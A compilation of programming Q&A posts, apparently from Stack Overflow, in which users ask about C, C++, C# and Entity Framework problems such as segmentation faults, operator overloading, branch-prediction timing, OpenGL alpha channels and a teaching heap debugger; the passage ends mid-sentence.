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  • Simple Constructor With Initializer List? - C++

    - by Alex
    Hi all, below I've included my h file, and my problem is that the compiler is not liking my simple exception class's constructor's with initializer lists. It also is saying that string is undeclared identifier, even though I have #include <string> at the top of the h file. Do you see something I am doing wrong? For further explanation, this is one of my domain classes that I'm integrating into a wxWidgets GUI application on Windows. Thanks! Time.h #pragma once #include <string> #include <iostream> // global constants for use in calculation const int HOURS_TO_MINUTES = 60; const int MINUTES_TO_HOURS = 100; class Time { public: // default Time class constructor // initializes all vars to default values Time(void); // ComputeEndTime computes the new delivery end time // params - none // preconditions - vars will be error-free // postconditions - the correct end time will be returned as an int // returns an int int ComputeEndTime(); // GetStartTime is the getter for var startTime // params - none // returns an int int GetStartTime() { return startTime; } // GetEndTime is the getter for var endTime // params - none // returns an int int GetEndTime() { return endTime; } // GetTimeDiff is the getter for var timeDifference // params - none // returns a double double GetTimeDiff() { return timeDifference; } // SetStartTime is the setter for var startTime // params - an int // returns void void SetStartTime(int s) { startTime = s; } // SetEndTime is the setter for var endTime // params - an int // returns void void SetEndTime(int e) { endTime = e; } // SetTimeDiff is the setter for var timeDifference // params - a double // returns void void SetTimeDiff(double t) { timeDifference = t; } // destructor for Time class ~Time(void); private: int startTime; int endTime; double timeDifference; }; class HourOutOfRangeException { public: // param constructor // initializes message to passed paramater // preconditions - param will be a string // postconditions - message will be initialized // params a string // no return type HourOutOfRangeException(string pMessage) : message(pMessage) {} // GetMessage is getter for var message // params none // preconditions - none // postconditions - none // returns string string GetMessage() { return message; } // destructor ~HourOutOfRangeException() {} private: string message; }; class MinuteOutOfRangeException { public: // param constructor // initializes message to passed paramater // preconditions - param will be a string // postconditions - message will be initialized // params a string // no return type MinuteOutOfRangeException(string pMessage) : message(pMessage) {} // GetMessage is getter for var message // params none // preconditions - none // postconditions - none // returns string string GetMessage() { return message; } // destructor ~MinuteOutOfRangeException() {} private: string message; }; class PercentageOutOfRangeException { public: // param constructor // initializes message to passed paramater // preconditions - param will be a string // postconditions - message will be initialized // params a string // no return type PercentageOutOfRangeException(string pMessage) : message(pMessage) {} // GetMessage is getter for var message // params none // preconditions - none // postconditions - none // returns string string GetMessage() { return message; } // destructor ~PercentageOutOfRangeException() {} private: string message; }; class StartEndException { public: // param constructor // initializes message to passed paramater // preconditions - param will be a string // postconditions - message will be initialized // params a string // no return type StartEndException(string pMessage) : message(pMessage) {} // GetMessage is getter for var message // params none // preconditions - none // postconditions - none // returns string string GetMessage() { return message; } // destructor ~StartEndException() {} private: string message; };

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  • Why is processing a sorted array faster than an unsorted array?

    - by GManNickG
    Here is a piece of code that shows some very peculiar performance. For some strange reason, sorting the data miraculously speeds up the code by almost 6x: #include <algorithm> #include <ctime> #include <iostream> int main() { // generate data const unsigned arraySize = 32768; int data[arraySize]; for (unsigned c = 0; c < arraySize; ++c) data[c] = std::rand() % 256; // !!! with this, the next loop runs faster std::sort(data, data + arraySize); // test clock_t start = clock(); long long sum = 0; for (unsigned i = 0; i < 100000; ++i) { // primary loop for (unsigned c = 0; c < arraySize; ++c) { if (data[c] >= 128) sum += data[c]; } } double elapsedTime = static_cast<double>(clock() - start) / CLOCKS_PER_SEC; std::cout << elapsedTime << std::endl; std::cout << "sum = " << sum << std::endl; } Without std::sort(data, data + arraySize);, the code runs in 11.54 seconds. With the sorted data, the code runs in 1.93 seconds. Initially I thought this might be just a language or compiler anomaly. So I tried it Java... import java.util.Arrays; import java.util.Random; public class Main { public static void main(String[] args) { // generate data int arraySize = 32768; int data[] = new int[arraySize]; Random rnd = new Random(0); for (int c = 0; c < arraySize; ++c) data[c] = rnd.nextInt() % 256; // !!! with this, the next loop runs faster Arrays.sort(data); // test long start = System.nanoTime(); long sum = 0; for (int i = 0; i < 100000; ++i) { // primary loop for (int c = 0; c < arraySize; ++c) { if (data[c] >= 128) sum += data[c]; } } System.out.println((System.nanoTime() - start) / 1000000000.0); System.out.println("sum = " + sum); } } with a similar but less extreme result. My first thought was that sorting brings the data into cache, but my next thought was how silly that is because the array was just generated. What is going on? Why is a sorted array faster than an unsorted array? The code is summing up some independent terms, the order should not matter.

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  • Matrix Multiplication with Threads: Why is it not faster?

    - by prelic
    Hey all, So I've been playing around with pthreads, specifically trying to calculate the product of two matrices. My code is extremely messy because it was just supposed to be a quick little fun project for myself, but the thread theory I used was very similar to: #include <pthread.h> #include <stdio.h> #include <stdlib.h> #define M 3 #define K 2 #define N 3 #define NUM_THREADS 10 int A [M][K] = { {1,4}, {2,5}, {3,6} }; int B [K][N] = { {8,7,6}, {5,4,3} }; int C [M][N]; struct v { int i; /* row */ int j; /* column */ }; void *runner(void *param); /* the thread */ int main(int argc, char *argv[]) { int i,j, count = 0; for(i = 0; i < M; i++) { for(j = 0; j < N; j++) { //Assign a row and column for each thread struct v *data = (struct v *) malloc(sizeof(struct v)); data->i = i; data->j = j; /* Now create the thread passing it data as a parameter */ pthread_t tid; //Thread ID pthread_attr_t attr; //Set of thread attributes //Get the default attributes pthread_attr_init(&attr); //Create the thread pthread_create(&tid,&attr,runner,data); //Make sure the parent waits for all thread to complete pthread_join(tid, NULL); count++; } } //Print out the resulting matrix for(i = 0; i < M; i++) { for(j = 0; j < N; j++) { printf("%d ", C[i][j]); } printf("\n"); } } //The thread will begin control in this function void *runner(void *param) { struct v *data = param; // the structure that holds our data int n, sum = 0; //the counter and sum //Row multiplied by column for(n = 0; n< K; n++){ sum += A[data->i][n] * B[n][data->j]; } //assign the sum to its coordinate C[data->i][data->j] = sum; //Exit the thread pthread_exit(0); } source: http://macboypro.com/blog/2009/06/29/matrix-multiplication-in-c-using-pthreads-on-linux/ For the non-threaded version, I used the same setup (3 2-d matrices, dynamically allocated structs to hold r/c), and added a timer. First trials indicated that the non-threaded version was faster. My first thought was that the dimensions were too small to notice a difference, and it was taking longer to create the threads. So I upped the dimensions to about 50x50, randomly filled, and ran it, and I'm still not seeing any performance upgrade with the threaded version. What am I missing here?

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  • Are there supposed to be more restrictions on operator->* overloads?

    - by Potatoswatter
    I was perusing section 13.5 after refuting the notion that built-in operators do not participate in overload resolution, and noticed that there is no section on operator->*. It is just a generic binary operator. Its brethren, operator->, operator*, and operator[], are all required to be non-static member functions. This precludes definition of a free function overload to an operator commonly used to obtain a reference from an object. But the uncommon operator->* is left out. In particular, operator[] has many similarities. It is binary (they missed a golden opportunity to make it n-ary), and it accepts some kind of container on the left and some kind of locator on the right. Its special-rules section, 13.5.5, doesn't seem to have any actual effect except to outlaw free functions. (And that restriction even precludes support for commutativity!) So, for example, this is perfectly legal (in C++0x, remove obvious stuff to translate to C++03): #include <utility> #include <iostream> #include <type_traits> using namespace std; template< class F, class S > typename common_type< F,S >::type operator->*( pair<F,S> const &l, bool r ) { return r? l.second : l.first; } template< class T > T & operator->*( pair<T,T> &l, bool r ) { return r? l.second : l.first; } template< class T > T & operator->*( bool l, pair<T,T> &r ) { return l? r.second : r.first; } int main() { auto x = make_pair( 1, 2.3 ); cerr << x->*false << " " << x->*4 << endl; auto y = make_pair( 5, 6 ); y->*(0) = 7; y->*0->*y = 8; // evaluates to 7->*y = y.second cerr << y.first << " " << y.second << endl; } I can certainly imagine myself giving into temp[la]tation. For example, scaled indexes for vector: v->*matrix_width[5] = x; Did the standards committee forget to prevent this, was it considered too ugly to bother, or are there real-world use cases?

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  • Strange performance behaviour for 64 bit modulo operation

    - by codymanix
    The last three of these method calls take approx. double the time than the first four. The only difference is that their arguments doesn't fit in integer anymore. But should this matter? The parameter is declared to be long, so it should use long for calculation anyway. Does the modulo operation use another algorithm for numbersmaxint? I am using amd athlon64 3200+, winxp sp3 and vs2008. Stopwatch sw = new Stopwatch(); TestLong(sw, int.MaxValue - 3l); TestLong(sw, int.MaxValue - 2l); TestLong(sw, int.MaxValue - 1l); TestLong(sw, int.MaxValue); TestLong(sw, int.MaxValue + 1l); TestLong(sw, int.MaxValue + 2l); TestLong(sw, int.MaxValue + 3l); Console.ReadLine(); static void TestLong(Stopwatch sw, long num) { long n = 0; sw.Reset(); sw.Start(); for (long i = 3; i < 20000000; i++) { n += num % i; } sw.Stop(); Console.WriteLine(sw.Elapsed); } EDIT: I now tried the same with C and the issue does not occur here, all modulo operations take the same time, in release and in debug mode with and without optimizations turned on: #include "stdafx.h" #include "time.h" #include "limits.h" static void TestLong(long long num) { long long n = 0; clock_t t = clock(); for (long long i = 3; i < 20000000LL*100; i++) { n += num % i; } printf("%d - %lld\n", clock()-t, n); } int main() { printf("%i %i %i %i\n\n", sizeof (int), sizeof(long), sizeof(long long), sizeof(void*)); TestLong(3); TestLong(10); TestLong(131); TestLong(INT_MAX - 1L); TestLong(UINT_MAX +1LL); TestLong(INT_MAX + 1LL); TestLong(LLONG_MAX-1LL); getchar(); return 0; } EDIT2: Thanks for the great suggestions. I found that both .net and c (in debug as well as in release mode) does't not use atomically cpu instructions to calculate the remainder but they call a function that does. In the c program I could get the name of it which is "_allrem". It also displayed full source comments for this file so I found the information that this algorithm special cases the 32bit divisors instead of dividends which was the case in the .net application. I also found out that the performance of the c program really is only affected by the value of the divisor but not the dividend. Another test showed that the performance of the remainder function in the .net program depends on both the dividend and divisor. BTW: Even simple additions of long long values are calculated by a consecutive add and adc instructions. So even if my processor calls itself 64bit, it really isn't :( EDIT3: I now ran the c app on a windows 7 x64 edition, compiled with visual studio 2010. The funny thing is, the performance behavior stays the same, although now (I checked the assembly source) true 64 bit instructions are used.

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  • Getting Segmentation Fault in C++, but why?

    - by Carlos
    I am getting segmentation fault in this code but i cant figure out why. I know a segmentation fault happens when a pointer is NULL, or when it points to a random memory address. #include <iostream> #include <fstream> #include <cmath> using namespace std; //**************************** CLASS ******************************* class Database { struct data{ string city; float latitude, longitude; data *link; }*p; public: Database(); void display(); void add(string cityName, float lat, float lon); private: string cityName; float lat, lon; }; //************************** CLASS METHODS ************************** Database::Database() { p = NULL; } void Database::add(string cityName, float lat, float lon){ data *q, *t; if(p == NULL){ p = new data; p -> city = cityName; p -> latitude = lat; p -> longitude = lon; p -> link = NULL; } else{ q = p; while(q -> link != NULL){ q = q -> link; } t = new data; t -> city = cityName; t -> latitude = lat; t -> longitude = lon; q -> link = t; } } void Database::display() { data *q; cout<<endl; for( q = p ; q != NULL ; q = q->link ) cout << endl << q -> city; } //***************************** MAIN ******************************* //*** INITIALIZATION *** Database D; void loadDatabase(); //****** VARIABLES ***** //******* PROGRAM ****** int main() { loadDatabase(); D.display(); } void loadDatabase() { int i = 0; string cityName; float lat, lon; fstream city; city.open("city.txt", ios::in); fstream latitude; latitude.open("lat.txt", ios::in); fstream longitude; longitude.open("lon.txt", ios::in); while(!city.eof()){ //************************************ city >> cityName; //* * latitude >> lat; //Here is where i think is the problem longitude >> lon; //* * D.add(cityName, lat, lon); //************************************ } city.close(); latitude.close(); longitude.close(); } This is the error am actually getting in console

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  • Overloading '-' for array subtraction

    - by Chris Wilson
    I am attempting to subtract two int arrays, stored as class members, using an overloaded - operator, but I'm getting some peculiar output when I run tests. The overload definition is Number& Number :: operator-(const Number& NumberObject) { for (int count = 0; count < NumberSize; count ++) { Value[count] -= NumberObject.Value[count]; } return *this; } Whenever I run tests on this, NumberObject.Value[count] always seems to be returning a zero value. Can anyone see where I'm going wrong with this? The line in main() where this subtraction is being carried out is cout << "The difference is: " << ArrayOfNumbers[0] - ArrayOfNumbers[1] << endl; ArrayOfNumbers contains two Number objects. The class declaration is #include <iostream> using namespace std; class Number { private: int Value[50]; int NumberSize; public: Number(); // Default constructor Number(const Number&); // Copy constructor Number(int, int); // Non-default constructor void SetMemberValues(int, int); // Manually set member values int GetNumberSize() const; // Return NumberSize member int GetValue() const; // Return Value[] member Number& operator-=(const Number&); }; inline Number operator-(Number Lhs, const Number& Rhs); ostream& operator<<(ostream&, const Number&); The full class definition is as follows: #include <iostream> #include "../headers/number.h" using namespace std; // Default constructor Number :: Number() {} // Copy constructor Number :: Number(const Number& NumberObject) { int Temp[NumberSize]; NumberSize = NumberObject.GetNumberSize(); for (int count = 0; count < NumberObject.GetNumberSize(); count ++) { Temp[count] = Value[count] - NumberObject.GetValue(); } } // Manually set member values void Number :: SetMemberValues(int NewNumberValue, int NewNumberSize) { NumberSize = NewNumberSize; for (int count = NewNumberSize - 1; count >= 0; count --) { Value[count] = NewNumberValue % 10; NewNumberValue = NewNumberValue / 10; } } // Non-default constructor Number :: Number(int NumberValue, int NewNumberSize) { NumberSize = NewNumberSize; for (int count = NewNumberSize - 1; count >= 0; count --) { Value[count] = NumberValue % 10; NumberValue = NumberValue / 10; } } // Return the NumberSize member int Number :: GetNumberSize() const { return NumberSize; } // Return the Value[] member int Number :: GetValue() const { int ResultSoFar; for (int count2 = 0; count2 < NumberSize; count2 ++) { ResultSoFar = ResultSoFar * 10 + Value[count2]; } return ResultSoFar; } Number& operator-=(const Number& Rhs) { for (int count = 0; count < NumberSize; count ++) { Value[count] -= Rhs.Value[count]; } return *this; } inline Number operator-(Number Lhs, const Number& Rhs) { Lhs -= Rhs; return Lhs; } // Overloaded output operator ostream& operator<<(ostream& OutputStream, const Number& NumberObject) { OutputStream << NumberObject.GetValue(); return OutputStream; }

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  • C++ Greatest Number Verification

    - by Daniel
    Hey guys, I was assigned to create a program that creates n arrays composed by 10 random integers. The the program should sum all the integers and display the result. After, it has to verify which of the sums is the greatest and it has to display that array and the result. Im having troubles getting it done and would like to get some help! Thanks once again. Here is my code so far: #include <iostream> #include <iomanip> #include <cmath> using namespace std; double random(unsigned int &seed); unsigned int seed = 5; void generateData(int set[10]); int sumData(int set[10]); void checkData(int sumResult, int arrayNumber); int main (int argc, char * const argv[]) { int arrayNumber, sumResult; int set[10]; do { cout << "Number of Arrays to Compare: " << endl; cin >> arrayNumber; } while (arrayNumber < 0); for (int i = 0; i < arrayNumber; ++i) { generateData(set); sumResult = sumData(set); cout << "Sum --> " << sumResult << endl; checkData(sumResult, arrayNumber); } return 0; } double random(unsigned int &seed) { const int MODULUS = 15749; const int MULTIPLIER = 69069; const int INCREMENT = 1; seed = ((MULTIPLIER * seed) + INCREMENT) % MODULUS; return double(seed) / double(MODULUS); } void generateData(int set[10]) { for (int i = 0; i < 10; ++i) { set[i] = int (5 + 6 * random(seed)); cout << set[i] << " || "; } } int sumData(int set[10]) { int sumTotal = 0; for (int i = 0; i < 10; ++i) sumTotal = sumTotal + set[i]; return sumTotal; } void checkData(int sumResult, int arrayNumber) { int largerNumber; int tempSet[2]; for (int i = 0; i < arrayNumber; ++i) { if (sumResult > largerNumber) { tempSet[i] = sumResult; } } }

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  • SetPixelFormat is not creating an alpha channel for OpenGL

    - by i_photon
    I've been able to do this before, and I don't know what changed between two weeks ago and the last windows update, but for some reason SetPixelFormat isn't creating an alpha channel. gDebugger shows that the window's back buffer only has 3 channels. White+0 alpha renders as white. So there is something inherently wrong with what I was doing, or an update broke it. The code below should be paste-able into an empty VS project. #include <Windows.h> #include <dwmapi.h> #include <gl/GL.h> #pragma comment(lib,"opengl32.lib") #pragma comment(lib,"dwmapi.lib") HWND hWnd = 0; HDC hDC = 0; HGLRC hRC = 0; LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { WNDCLASSEX wcex = {0}; wcex.cbSize = sizeof(WNDCLASSEX); wcex.lpfnWndProc = WndProc; wcex.hCursor = LoadCursor(NULL, IDC_ARROW); wcex.lpszClassName = TEXT("why_class"); RegisterClassEx(&wcex); // no errors hWnd = CreateWindowEx( NULL, TEXT("why_class"), TEXT("why_window"), WS_OVERLAPPEDWINDOW, 128,128, 256,256, NULL, NULL, hInstance, NULL ); // no errors PIXELFORMATDESCRIPTOR pfd = {0}; pfd.nSize = sizeof(pfd); pfd.nVersion = 1; pfd.dwFlags = PFD_DRAW_TO_WINDOW| PFD_SUPPORT_OPENGL| PFD_DOUBLEBUFFER| PFD_SUPPORT_COMPOSITION; pfd.cColorBits = 32; pfd.cAlphaBits = 8; // need an alpha channel pfd.cDepthBits = 24; pfd.cStencilBits = 8; hDC = GetDC(hWnd); int i = ChoosePixelFormat(hDC,&pfd); SetPixelFormat(hDC,i,&pfd); // no errors hRC = wglCreateContext(hDC); // no errors wglMakeCurrent(hDC,hRC); // no errors // EDIT: Turn on alpha testing (which actually won't // fix the clear color problem below) glEnable(GL_BLEND); glBlendFunc(GL_SRC_ALPHA,GL_ONE_MINUS_SRC_ALPHA); // EDIT: Regardless of whether or not GL_BLEND is enabled, // a clear color with an alpha of 0 should (or did at one time) // make this window transparent glClearColor( 0,0,0, // if this is (1,1,1), the window renders // solid white regardless of the alpha 0 // changing the alpha here has some effect ); DWM_BLURBEHIND bb = {0}; bb.dwFlags = DWM_BB_ENABLE|DWM_BB_TRANSITIONONMAXIMIZED; bb.fEnable = TRUE; bb.fTransitionOnMaximized = TRUE; DwmEnableBlurBehindWindow(hWnd,&bb); // no errors ShowWindow(hWnd, SW_SHOWNORMAL); UpdateWindow(hWnd); // no errors MSG msg = {0}; while(true){ GetMessage(&msg,NULL,NULL,NULL); if(msg.message == WM_QUIT){ return (int)msg.wParam; } TranslateMessage(&msg); DispatchMessage(&msg); glClear(GL_COLOR_BUFFER_BIT|GL_DEPTH_BUFFER_BIT); glBegin(GL_TRIANGLES); // this vertex should be transparent, // as it was when I last built this test // // it renders as white glColor4f(1,1,1,0); glVertex2f(0,0); glColor4f(0,1,1,1); glVertex2f(1,0); glColor4f(1,0,1,1); glVertex2f(0,1); glEnd(); SwapBuffers(hDC); } return (int)msg.wParam; } LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { switch (message) { case WM_DESTROY: { PostQuitMessage(0); }return 0; default: break; } return DefWindowProc(hWnd, message, wParam, lParam); }

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  • File Segmentation when trying to write in a file

    - by user1286390
    I am trying in C language to use the method of bisection to find the roots of some equation, however when I try to write every step of this process in a file I get the problem "Segmentation fault". This might be an idiot fault that I did, however I have been trying to solve this for a long time. I am compiling using gcc and that is the code: #include <stdio.h> #include <stdlib.h> #include <math.h> #define R 1.0 #define h 1.0 double function(double a); void attractor(double *a1, double *a2, double *epsilon); void attractor(double *a1, double *a2, double *epsilon) { FILE* bisection; double a2_copia, a3, fa1, fa2; bisection = fopen("bisection-part1.txt", "w"); fa1 = function(*a1); fa2 = function(*a2); if(function(*a1) - function(*a2) > 0.0) *epsilon = function(*a1) - function(*a2); else *epsilon = function(*a2) - function(*a1); fprintf(bisection, "a1 a2 fa1 fa2 epsilon\n"); a2_copia = 0.0; if(function(*a1) * function(*a2) < 0.0 && *epsilon >= 0.00001) { a3 = *a2 - (*a2 - *a1); a2_copia = *a2; *a2 = a3; if(function(*a1) - function(*a2) > 0.0) *epsilon = function(*a1) - function(*a2); else *epsilon = function(*a2) - function(*a1); if(function(*a1) * function(*a2) < 0.0 && *epsilon >= 0.00001) { fprintf(bisection, "%.4f %.4f %.4f %.4f %.4f\n", *a1, *a2, function(*a1), function(*a1), *epsilon); attractor(a1, a2, epsilon); } else { *a2 = a2_copia; *a1 = a3; if(function(*a1) - function(*a2) > 0) *epsilon = function(*a1) - function(*a2); else *epsilon = function(*a2) - function(*a1); if(function(*a1) * function(*a2) < 0.0 && *epsilon >= 0.00001) { fprintf(bisection, "%.4f %.4f %.4f %.4f %.4f\n", *a1, *a2, function(*a1), function(*a1), *epsilon); attractor(a1, a2, epsilon); } } } fa1 = function(*a1); fa2 = function(*a2); if(function(*a1) - function(*a2) > 0.0) *epsilon = function(*a1) - function(*a2); else *epsilon = function(*a2) - function(*a1); fprintf(bisection, "%.4f %.4f %.4f %.4f %.4f\n", a1, a2, fa1, fa2, epsilon); } double function(double a) { double fa; fa = (a * cosh(h / (2 * a))) - R; return fa; } int main() { double a1, a2, fa1, fa2, epsilon; a1 = 0.1; a2 = 0.5; fa1 = function(a1); fa2 = function(a2); if(fa1 - fa2 > 0.0) epsilon = fa1 - fa2; else epsilon = fa2 - fa1; if(epsilon >= 0.00001) { fa1 = function(a1); fa2 = function(a2); attractor(&a1, &a2, &epsilon); fa1 = function(a1); fa2 = function(a2); if(fa1 - fa2 > 0.0) epsilon = fa1 - fa2; else epsilon = fa2 - fa1; } if(epsilon < 0.0001) printf("Vanish at %f", a2); else printf("ERROR"); return 0; } Thanks anyway and sorry if this question is not suitable.

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  • Error inserting data in binary tree

    - by chepe263
    I copied this code (in spanish) http://www.elrincondelc.com/nuevorincon/index.php?pag=codigos&id=4 and wrote a new one. This is my code: #include <cstdlib> #include <conio.h> #include <iostream> using namespace std; struct nodoarbol { int dato; struct nodoarbol *izq; struct nodoarbol *der; }; typedef nodoarbol Nodo; typedef Nodo *Arbol; void insertar(Arbol *, int); void inorden(Arbol); void postorden(Arbol); void preorden(Arbol); void insertar(Arbol *raiz, int nuevo){ if (*raiz==NULL){ *raiz = (Nodo *)malloc(sizeof(Nodo)); if (*raiz != NULL){ (*raiz)->dato=nuevo; (*raiz)->der=NULL; (*raiz)->izq=NULL; } else{ cout<<"No hay memoria suficiente u ocurrio un error"; } } else{ if (nuevo < (*raiz)->dato) insertar( &((*raiz)->izq), nuevo ); else if (nuevo > (*raiz)->dato) insertar(&((*raiz)->der), nuevo); } }//inseertar void inorden(Arbol raiz){ if (raiz != NULL){ inorden(raiz->izq); cout << raiz->dato << " "; inorden(raiz->der); } } void preorden(Arbol raiz){ if (raiz != NULL){ cout<< raiz->dato << " "; preorden(raiz->izq); preorden(raiz->der); } } void postorden(Arbol raiz){ if (raiz!=NULL){ postorden(raiz->izq); postorden(raiz->der); cout<<raiz->dato<<" "; } } int main() { int i; i=0; int val; Arbol raiz = NULL; for (i=0; i<10; i++){ cout<<"Inserte un numero"; cin>>val; insertar( (raiz), val); } cout<<"\nPreorden\n"; preorden(raiz); cout<<"\nIneorden\n"; inorden(raiz); cout<<"\nPostorden\n"; postorden(raiz); return 0; } I'm using netbeans 7.1.1, mingw32 compiler This is the output: make[2]: Leaving directory `/q/netbeans c++/NetBeansProjects/treek' make[1]: Leaving directory `/q/netbeans c++/NetBeansProjects/treek' main.cpp: In function 'int main()': main.cpp:110:30: error: cannot convert 'Arbol {aka nodoarbol*}' to 'Nodo** {aka nodoarbol**}' for argument '1' to 'void insertar(Nodo**, int)' make[2]: *** [build/Release/MinGW-Windows/main.o] Error 1 make[1]: *** [.build-conf] Error 2 make: *** [.build-impl] Error 2 BUILD FAILED (exit value 2, total time: 11s) I don't understand what's wrong since i just copied the code (and rewrite it to my own code). I'm really good in php, asp.net (vb) and other languages but c is a headche for me. I've been struggling with this problem for about an hour. Could somebody tell me what could it be?

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  • Printing out variables in c changes values of variables

    - by George Wilson
    I have an odd problem with some c-programme here. I was getting some wrong values in a matrix I was finding the determinant of and so I started printing variables - yet found that by printing values out the actual values in the code changed. I eventually narrowed it down to one specific printf statement - highlighted in the code below. If I comment out this line then I start getting incorrect values in my determinent calculations, yet by printing it out I get the value out I expect Code below: #include <math.h> #include <stdio.h> #include <stdlib.h> #define NUMBER 15 double determinant_calculation(int size, double array[NUMBER][NUMBER]); int main() { double array[NUMBER][NUMBER], determinant_value; int size; array[0][0]=1; array[0][1]=2; array[0][2]=3; array[1][0]=4; array[1][1]=5; array[1][2]=6; array[2][0]=7; array[2][1]=8; array[2][2]=10; size=3; determinant_value=determinant_calculation(size, array); printf("\n\n\n\n\n\nDeterminant value is %lf \n\n\n\n\n\n", determinant_value); return 0; } double determinant_calculation(int size, double array[NUMBER][NUMBER]) { double determinant_matrix[NUMBER][NUMBER], determinant_value; int x, y, count=0, sign=1, i, j; /*initialises the array*/ for (i=0; i<(NUMBER); i++) { for(j=0; j<(NUMBER); j++) { determinant_matrix[i][j]=0; } } /*does the re-cursion method*/ for (count=0; count<size; count++) { x=0; y=0; for (i=0; i<size; i++) { for(j=0; j<size; j++) { if (i!=0&&j!=count) { determinant_matrix[x][y]=array[i][j]; if (y<(size-2)) { y++; } else { y=0; x++; } } } } //commenting this for loop out changes the values of the code determinent prints -7 when commented out and -3 (expected) when included! for (i=0; i<size; i++) { for(j=0; j<size; j++){ printf("%lf ", determinant_matrix[i][j]); } printf("\n"); } if(size>2) { determinant_value+=sign*(array[0][count]*determinant_calculation(size-1 ,determinant_matrix)); } else { determinant_value+=sign*(array[0][count]*determinant_matrix[0][0]); } sign=-1*sign; } return (determinant_value); } I know its not the prettiest (or best way) of doing what I'm doing with this code but it's what I've been given - so can't make huge changes. I don't suppose anyone could explain why printing out the variables can actually change the values? or how to fix it because ideally i don't want to!!

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  • How to find an element in an array in C

    - by gkaykck
    I am trying to find the location of an element in the array. I have tried to use this code i generated for(i=0;i<10;i++) { if (strcmp(temp[0],varptr[i])==0) j=i; } varptr is a pointer which points to array var[11][10] and it is by the definition *varptr[11][10]. I have assigned strings to var[i] and i want to get the "i" number of my element NOT THE ADRESS. Thanks for any comment. EDit: temp is also a pointer which points to the string that i want to check. Also i am using the 2D array for keeping variable names and their address. So yes i want to keep it inside a 2D array. The question is this code is not working at all, it does not assigns i to j, so i wonder where is the problem with this idea? writing a "break" does not change if the code works or not, it just optimizes the code a little. Full Code: #include <stdio.h> #include <string.h> #include <ctype.h> double atof(char*); int main(void) { char in[100], *temp[10],var[11][10],*varptr[11][10]; int i,j, n = 0,fullval=0; double val[11]; strcpy(var[11], "ans"); for(i=0;i<11;i++) { for(j=0;j<10;j++) varptr[i][j]=&var[i][j]; } START: printf("Enter the expression: "); fflush(stdout); for(i=0;i<10;i++) temp[i]=NULL; if (fgets(in, sizeof in, stdin) != NULL) { temp[0] = strtok(in, " "); if (temp[0] != NULL) { for (n = 1; n < 10 && (temp[n] = strtok(NULL," ")) != NULL; n++) ; } if (*temp[0]=="quit") { goto FINISH;} if (isdigit(*temp[0])) { if (*temp[1]=='+') val[0] = atof(temp[0])+atof(temp[2]); else if (*temp[1]=='-') val[0] = atof(temp[0])-atof(temp[2]); else if (*temp[1]=='*') val[0] = atof(temp[0])*atof(temp[2]); else if (*temp[1]=='/') val[0] = atof(temp[0])/atof(temp[2]); printf("%s = %f\n",var[11],val[0]); goto START; } else if (temp[1]==NULL) //asking the value of a variable { for(i=0;i<10;i++) { if (strcmp(temp[0],varptr[i])==0) j=i; } printf("%s = %d\n",var[j],val[j]); goto START; } if (*temp[1]==61) { strcpy(var[fullval], temp[0]); if ((temp[3])!=NULL) { } val[fullval]=atof(temp[2]); printf("%s = %f\n",var[fullval],val[fullval]); fullval++; goto START; } if (*temp[1]!=61) { } } getch(); FINISH: return 0; }

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  • Critique my heap debugger

    - by FredOverflow
    I wrote the following heap debugger in order to demonstrate memory leaks, double deletes and wrong forms of deletes (i.e. trying to delete an array with delete p instead of delete[] p) to beginning programmers. I would love to get some feedback on that from strong C++ programmers because I have never done this before and I'm sure I've done some stupid mistakes. Thanks! #include <cstdlib> #include <iostream> #include <new> namespace { const int ALIGNMENT = 16; const char* const ERR = "*** ERROR: "; int counter = 0; struct heap_debugger { heap_debugger() { std::cerr << "*** heap debugger started\n"; } ~heap_debugger() { std::cerr << "*** heap debugger shutting down\n"; if (counter > 0) { std::cerr << ERR << "failed to release memory " << counter << " times\n"; } else if (counter < 0) { std::cerr << ERR << (-counter) << " double deletes detected\n"; } } } instance; void* allocate(size_t size, const char* kind_of_memory, size_t token) throw (std::bad_alloc) { void* raw = malloc(size + ALIGNMENT); if (raw == 0) throw std::bad_alloc(); *static_cast<size_t*>(raw) = token; void* payload = static_cast<char*>(raw) + ALIGNMENT; ++counter; std::cerr << "*** allocated " << kind_of_memory << " at " << payload << " (" << size << " bytes)\n"; return payload; } void release(void* payload, const char* kind_of_memory, size_t correct_token, size_t wrong_token) throw () { if (payload == 0) return; std::cerr << "*** releasing " << kind_of_memory << " at " << payload << '\n'; --counter; void* raw = static_cast<char*>(payload) - ALIGNMENT; size_t* token = static_cast<size_t*>(raw); if (*token == correct_token) { *token = 0xDEADBEEF; free(raw); } else if (*token == wrong_token) { *token = 0x177E6A7; std::cerr << ERR << "wrong form of delete\n"; } else { std::cerr << ERR << "double delete\n"; } } } void* operator new(size_t size) throw (std::bad_alloc) { return allocate(size, "non-array memory", 0x5AFE6A8D); } void* operator new[](size_t size) throw (std::bad_alloc) { return allocate(size, " array memory", 0x5AFE6A8E); } void operator delete(void* payload) throw () { release(payload, "non-array memory", 0x5AFE6A8D, 0x5AFE6A8E); } void operator delete[](void* payload) throw () { release(payload, " array memory", 0x5AFE6A8E, 0x5AFE6A8D); }

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  • Using CreateSourceQuery in CTP4 Code First

    - by Adam Rackis
    I'm guessing this is impossible, but I'll throw it out there anyway. Is it possible to use CreateSourceQuery when programming with the EF4 CodeFirst API, in CTP4? I'd like to eagerly load properties attached to a collection of properties, like this: var sourceQuery = this.CurrentInvoice.PropertyInvoices.CreateSourceQuery(); sourceQuery.Include("Property").ToList(); But of course CreateSourceQuery is defined on EntityCollection<T>, whereas CodeFirst uses plain old ICollection (obviously). Is there some way to convert? I've gotten the below to work, but it's not quite what I'm looking for. Anyone know how to go from what's below to what's above (code below is from a class that inherits DbContext)? ObjectSet<Person> OSPeople = base.ObjectContext.CreateObjectSet<Person>(); OSPeople.Include(Pinner => Pinner.Books).ToList(); Thanks! EDIT: here's my version of the solution posted by zeeshanhirani - who's book by the way is amazing! dynamic result; if (invoice.PropertyInvoices is EntityCollection<PropertyInvoice>) result = (invoices.PropertyInvoices as EntityCollection<PropertyInvoice>).CreateSourceQuery().Yadda.Yadda.Yadda else //must be a unit test! result = invoices.PropertyInvoices; return result.ToList(); EDIT2: Ok, I just realized that you can't dispatch extension methods whilst using dynamic. So I guess we're not quite as dynamic as Ruby, but the example above is easily modifiable to comport with this restriction EDIT3: As mentioned in zeeshanhirani's blog post, this only works if (and only if) you have change-enabled proxies, which will get 